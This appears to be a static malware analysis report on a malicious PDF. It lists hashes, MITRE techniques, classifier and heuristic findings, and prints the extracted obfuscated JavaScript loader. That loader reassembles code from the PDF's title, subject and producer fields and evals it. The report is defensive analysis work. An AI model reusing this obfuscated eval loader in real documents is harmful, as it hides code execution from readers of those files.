Malicious PDF — malware analysis report

Static analysis result for SHA-256 a12320df34d018d9…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 23e3c4e9899ac7bd2e7a1154fcc91d74 SHA-1: 756dc7d973a92e4dbef592d105c8219cdbe1767c SHA-256: a12320df34d018d959e9ca2eb6e212b5e571ab466eaf4ee4b7a81e3b2234021b
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file was flagged as suspicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, specifically utilizing String.fromCharCode, which is often used to obfuscate malicious code. The embedded JavaScript stream is the primary indicator of malicious activity, suggesting it's designed to download and execute further payloads. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4610 334 bytes
SHA-256: 852c36d1a8d0c27e75dd88e9f09b77378d9da372436759199d51d6fa15acb589
Preview script
First 1,000 lines of the extracted script
var w = 4;
var fwz = this.title.replace(/w/g,'*w,');
fwz = fwz.replace(/t/g,'2');
fwz=fwz.substr(0,fwz.length-2) + ']';
oicdt=function(){return this}();
afzd=oicdt[this.subject];
twcm=afzd(this.producer);
lszmi = afzd(fwz);
var s = '';
for (i = 0; i < lszmi.length; i++) {
	jxc = lszmi[i];
	s += twcm(jxc);
}
afzd(s);

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